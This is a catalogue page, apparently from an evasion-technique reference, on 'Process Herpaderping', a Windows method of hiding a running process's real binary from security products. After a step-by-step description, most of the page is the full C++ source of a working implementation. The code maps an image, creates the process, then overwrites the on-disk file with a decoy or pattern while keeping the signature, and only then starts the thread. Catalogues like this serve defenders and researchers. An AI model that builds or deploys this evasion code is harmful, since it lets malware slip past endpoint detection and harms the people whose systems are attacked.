Process Herpaderping

Created the Wednesday 16 June 2021. Updated 1 year, 2 months ago.

Process Herpaderping is a method of obscuring the intentions of a process by modifying the content on a disk after the image has been mapped. This results in curious behavior by security products and the OS itself.

To abuse this convention, we first write a binary to a target file on a disk. Then, we map an image of the target file and provide it to the OS to use for process creation. The OS kindly maps the original binary for us. Using the existing file handle, and before creating the initial thread, we modify the target file content to obscure or fake the file backing the image. Sometime later, we create the initial thread to begin the execution of the original binary. Finally, we will close the target file handle. Let's walk through this step-by-step:

Write target binary to disk, keeping the handle open. This is what will execute in memory.
Map the file as an image section NtCreateSection, SEC_IMAGE.
Create the process object using the section handle NtCreateProcessEx.
Using the same target file handle, obscure the file on disk.
Create the initial thread in the process NtCreateThreadEx.
- At this point, the process creation callback in the kernel will fire. The contents on the disk do not match what was mapped. Inspection of the file at this point will result in incorrect attribution.
Close the handle. IRP_MJ_CLEANUP will occur here.
- Since we've hidden the contents of what is executing, inspection at this point will result in incorrect attribution.

Technique Identifier

U1231

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Code Snippets

//
// Copyright (c) Johnny Shaw. All rights reserved.
// 
// File:     source/ProcessHerpaderping/herpaderp.cpp
// Author:   Johnny Shaw
// Abstract: Herpaderping Functionality
//
#include "pch.hpp"
#include "herpaderp.hpp"
#include "utils.hpp"

_Use_decl_annotations_
HRESULT Herpaderp::ExecuteProcess(
    const std::wstring& SourceFileName,
    const std::wstring& TargetFileName,
    const std::optional<std::wstring>& ReplaceWithFileName,
    std::span<const uint8_t> Pattern, 
    uint32_t Flags)
{
    if (FlagOn(Flags, FlagHoldHandleExclusive) && 
        FlagOn(Flags, FlagCloseFileEarly))
    {
        //
        // Incompatible flags.
        //
        return E_INVALIDARG;
    }

    if (FlagOn(Flags, FlagWaitForProcess) &&
        FlagOn(Flags, FlagKillSpawnedProcess))
    {
        //
        // Incompatible flags.
        //
        return E_INVALIDARG;
    }

    wil::unique_handle processHandle;
    //
    // If something goes wrong, we'll terminate the process.
    //
    auto terminateProcess = wil::scope_exit([&processHandle]() -> void
    {
        if (processHandle.is_valid())
        {
            TerminateProcess(processHandle.get(), 0);
        }
    });

    Utils::Log(Log::Success, L"Source File: \"%ls\"", SourceFileName.c_str());
    Utils::Log(Log::Success, L"Target File: \"%ls\"", TargetFileName.c_str());

    //
    // Open the source binary and the target file we will execute it from.
    //
    wil::unique_handle sourceHandle;
    sourceHandle.reset(CreateFileW(SourceFileName.c_str(),
                                   GENERIC_READ,
                                   FILE_SHARE_READ | 
                                       FILE_SHARE_WRITE | 
                                       FILE_SHARE_DELETE,
                                   nullptr,
                                   OPEN_EXISTING,
                                   FILE_ATTRIBUTE_NORMAL,
                                   nullptr));
    if (!sourceHandle.is_valid())
    {
        RETURN_LAST_ERROR_SET(Utils::Log(Log::Error, 
                                         GetLastError(), 
                                         L"Failed to open source file"));
    }

    std::wstring targetFileName = TargetFileName;
    if (FlagOn(Flags, FlagDirectory))
    {
        Utils::Log(Log::Information, 
                   L"Targeting Directory: \"%ls\"", 
                   targetFileName.c_str());

        wil::unique_handle dirHandle;
        if (CreateDirectoryW(targetFileName.c_str(), nullptr) == FALSE)
        {
            RETURN_LAST_ERROR_SET(Utils::Log(Log::Error, 
                                             GetLastError(), 
                                             L"Failed to create directory"));
        }

        targetFileName += L":exe";

        Utils::Log(Log::Information, 
                   L"Using Directory Stream: \"%ls\"", 
                   targetFileName.c_str());
    }

    DWORD shareMode = (FILE_SHARE_READ | FILE_SHARE_WRITE | FILE_SHARE_DELETE);
    if (FlagOn(Flags, FlagHoldHandleExclusive))
    {
        Utils::Log(Log::Information, 
                   L"Creating target file with exclusive access");
        shareMode = 0;
    }

    wil::unique_handle targetHandle;
    targetHandle.reset(CreateFileW(targetFileName.c_str(),
                                   GENERIC_READ | GENERIC_WRITE,
                                   shareMode,
                                   nullptr,
                                   CREATE_ALWAYS,
                                   FILE_ATTRIBUTE_NORMAL,
                                   nullptr));
    if(!targetHandle.is_valid())
    {
        RETURN_LAST_ERROR_SET(Utils::Log(Log::Error, 
                                         GetLastError(), 
                                         L"Failed to create target file"));
    }

    //
    // Copy the content of the source process to the target.
    //
    HRESULT hr = Utils::CopyFileByHandle(sourceHandle.get(),
                                         targetHandle.get());
    if (FAILED(hr))
    {
        Utils::Log(Log::Error,
                   hr,
                   L"Failed to copy source binary to target file");
        RETURN_HR(hr);
    }

    Utils::Log(Log::Information, L"Copied source binary to target file");

    //
    // We're done with the source binary.
    //
    sourceHandle.reset();

    //
    // Map and create the target process. We'll make it all derpy in a moment...
    //
    wil::unique_handle sectionHandle;
    auto status = NtCreateSection(&sectionHandle,
                                  SECTION_ALL_ACCESS,
                                  nullptr,
                                  nullptr,
                                  PAGE_READONLY,
                                  SEC_IMAGE,
                                  targetHandle.get());
    if (!NT_SUCCESS(status))
    {
        sectionHandle.release();
        RETURN_NTSTATUS(Utils::Log(
                              Log::Error, 
                              status, 
                              L"Failed to create target file image section"));
    }

    Utils::Log(Log::Information, L"Created image section for target");

    status = NtCreateProcessEx(&processHandle,
                               PROCESS_ALL_ACCESS,
                               nullptr,
                               NtCurrentProcess(),
                               PROCESS_CREATE_FLAGS_INHERIT_HANDLES,
                               sectionHandle.get(),
                               nullptr,
                               nullptr,
                               0);
    if (!NT_SUCCESS(status))
    {
        processHandle.release();
        RETURN_NTSTATUS(Utils::Log(Log::Error, 
                                   status, 
                                   L"Failed to create process"));
    }

    Utils::Log(Log::Information,
               L"Created process object, PID %lu",
               GetProcessId(processHandle.get()));

    //
    // Alright we have the process set up, we don't need the section.
    //
    sectionHandle.reset();

    //
    // Go get the remote entry RVA to create a thread later on.
    //
    uint32_t imageEntryPointRva;
    hr = Utils::GetImageEntryPointRva(targetHandle.get(),
                                      imageEntryPointRva);
    if (FAILED(hr))
    {
        Utils::Log(Log::Error, 
                   hr, 
                   L"Failed to get target file image entry RVA");
        RETURN_HR(hr);
    }

    Utils::Log(Log::Information,
               L"Located target image entry RVA 0x%08x",
               imageEntryPointRva);

    //
    // Alright, depending on the parameter passed in. We will either:
    //   A. Overwrite the target binary with another.
    //   B. Overwrite the target binary with a pattern.
    //
    if (ReplaceWithFileName.has_value())
    {
        //
        // (A) We are overwriting the binary with another file.
        //
        Utils::Log(Log::Success,
                   L"Replacing target with \"%ls\"",
                   ReplaceWithFileName->c_str());

        wil::unique_handle replaceWithHandle;
        replaceWithHandle.reset(CreateFileW(ReplaceWithFileName->c_str(),
                                            GENERIC_READ,
                                            FILE_SHARE_READ |
                                                FILE_SHARE_WRITE |
                                                FILE_SHARE_DELETE,
                                            nullptr,
                                            OPEN_EXISTING,
                                            FILE_ATTRIBUTE_NORMAL,
                                            nullptr));

        if (!replaceWithHandle.is_valid())
        {
            RETURN_LAST_ERROR_SET(Utils::Log(
                                        Log::Error, 
                                        GetLastError(), 
                                        L"Failed to open replace with file"));
        }

        //
        // Replace the bytes. We handle a failure here. We'll fix it up after.
        //
        hr = Utils::CopyFileByHandle(replaceWithHandle.get(),
                                     targetHandle.get(),
                                     FlagOn(Flags, FlagFlushFile));
        if (FAILED(hr))
        {
            if (hr != HRESULT_FROM_WIN32(ERROR_USER_MAPPED_FILE))
            {
                Utils::Log(Log::Error, 
                           hr,
                           L"Failed to replace target file");
                RETURN_HR(hr);
            }

            //
            // This error occurs when trying to truncate a file that has a
            // user mapping open. In other words, the file we tried to replace
            // with was smaller than the original.
            // Let's fix up the replacement to hide the original bytes and 
            // retain any signer info.
            //
            Utils::Log(Log::Information,
                       L"Fixing up target replacement, "
                       L"hiding original bytes and retaining any signature");

            uint64_t replaceWithSize;
            hr = Utils::GetFileSize(replaceWithHandle.get(), replaceWithSize);
            if (FAILED(hr))
            {
                Utils::Log(Log::Error, 
                           hr,
                           L"Failed to get replace with file size");
                RETURN_HR(hr);
            }

            uint32_t bytesWritten = 0;
            hr = Utils::OverwriteFileAfterWithPattern(
                                                targetHandle.get(),
                                                replaceWithSize,
                                                Pattern,
                                                bytesWritten,
                                                FlagOn(Flags, FlagFlushFile));
            if (FAILED(hr))
            {
                Utils::Log(Log::Warning, 
                           hr,
                           L"Failed to hide original file bytes");
            }
            else
            {
                hr = Utils::ExtendFileSecurityDirectory(
                                                targetHandle.get(),
                                                bytesWritten,
                                                FlagOn(Flags, FlagFlushFile));
                if (FAILED(hr))
                {
                    Utils::Log(Log::Warning,
                               hr,
                               L"Failed to retain file signature");
                }
            }
        }
    }
    else
    {
        //
        // (B) Just overwrite the target binary with a pattern.
        //
        Utils::Log(Log::Success, L"Overwriting target with pattern");

        hr = Utils::OverwriteFileContentsWithPattern(
                                                targetHandle.get(),
                                                Pattern,
                                                FlagOn(Flags, FlagFlushFile));
        if (FAILED(hr))
        {
            Utils::Log(Log::Error, 
                       hr, 
                       L"Failed to write pattern over file");
            RETURN_HR(hr);
        }
    }

    //
    // Alright, at this point the process is going to be derpy enough.
    // Do the work necessary to make it execute.
    //
    Utils::Log(Log::Success, L"Preparing target for execution");

    PROCESS_BASIC_INFORMATION pbi{};
    status = NtQueryInformationProcess(processHandle.get(),
                                       ProcessBasicInformation,
                                       &pbi,
                                       sizeof(pbi),
                                       nullptr);
    if (!NT_SUCCESS(status))
    {
        RETURN_NTSTATUS(Utils::Log(Log::Error, 
                                   status, 
                                   L"Failed to query new process info"));
    }

    PEB peb{};
    if (!ReadProcessMemory(processHandle.get(),
                           pbi.PebBaseAddress,
                           &peb,
                           sizeof(peb),
                           nullptr))
    {
        RETURN_LAST_ERROR_SET(Utils::Log(Log::Error, 
                                         GetLastError(), 
                                         L"Failed to read remote process PEB"));
    }

    Utils::Log(Log::Information,
               L"Writing process parameters, remote PEB ProcessParameters 0x%p",
               Add2Ptr(pbi.PebBaseAddress, FIELD_OFFSET(PEB, ProcessParameters)));

    hr = Utils::WriteRemoteProcessParameters(
                               processHandle.get(),
                               TargetFileName,
                               std::nullopt,
                               std::nullopt,
                               (L"\"" + TargetFileName + L"\""),
                               NtCurrentPeb()->ProcessParameters->Environment,
                               TargetFileName,
                               L"WinSta0\\Default",
                               std::nullopt,
                               std::nullopt);
    if (FAILED(hr))
    {
        Utils::Log(Log::Error, 
                   hr, 
                   L"Failed to write remote process parameters");
        RETURN_HR(hr);
    }

    if (FlagOn(Flags, FlagCloseFileEarly))
    {
        //
        // Caller wants to close the file early, before the notification
        // callback in the kernel would fire, do so.
        //
        targetHandle.reset();
    }

    //
    // Create the initial thread, when this first thread is inserted the
    // process create callback will fire in the kernel.
    //
    void* remoteEntryPoint = Add2Ptr(peb.ImageBaseAddress, imageEntryPointRva);

    Utils::Log(Log::Information,
               L"Creating thread in process at entry point 0x%p",
               remoteEntryPoint);

    wil::unique_handle threadHandle;
    status = NtCreateThreadEx(&threadHandle,
                              THREAD_ALL_ACCESS,
                              nullptr,
                              processHandle.get(),
                              remoteEntryPoint,
                              nullptr,
                              0,
                              0,
                              0,
                              0,
                              nullptr);
    if (!NT_SUCCESS(status))
    {
        threadHandle.release();
        RETURN_NTSTATUS(Utils::Log(Log::Error, 
                                   status, 
                                   L"Failed to create remote thread"));
    }

    Utils::Log(Log::Information,
               L"Created thread, TID %lu",
               GetThreadId(threadHandle.get()));

    if (!FlagOn(Flags, FlagKillSpawnedProcess))
    {
        //
        // Process was executed successfully. Do not terminate.
        //
        terminateProcess.release();
    }

    if (!FlagOn(Flags, FlagHoldHandleExclusive))
    {
        //
        // We're done with the target file handle. At this point the process 
        // create callback will have fired in the kernel.
        //
        targetHandle.reset();
    }

    if (FlagOn(Flags, FlagWaitForProcess))
    {
        //
        // Wait for the process to exit.
        //
        Utils::Log(Log::Success, L"Waiting for herpaderped process to exit");

        WaitForSingleObject(processHandle.get(), INFINITE);

        DWORD targetExitCode = 0;
        GetExitCodeProcess(processHandle.get(), &targetExitCode);

        Utils::Log(Log::Success,
                   L"Herpaderped process exited with code 0x%08x",
                   targetExitCode);
    }
    else
    {
        Utils::Log(Log::Success, L"Successfully spawned herpaderped process");
    }

    return S_OK;
}

About Author Open Snippet

Author: Unprotect / Target Platform: Windows

Additional Resources

External Links

The resources provided below are associated links that will give you even more detailed information and research on current evasion technique. It is important to note that, while these resources may be helpful, it is important to exercise caution when following external links. As always, be careful when clicking on links from unknown sources, as they may lead to malicious content.

GitHub - jxy-s/herpaderping: Process Herpaderping proof of concept, tool, and technical deep dive. Process Herpaderping bypasses security products by obscuring the intentions of a process.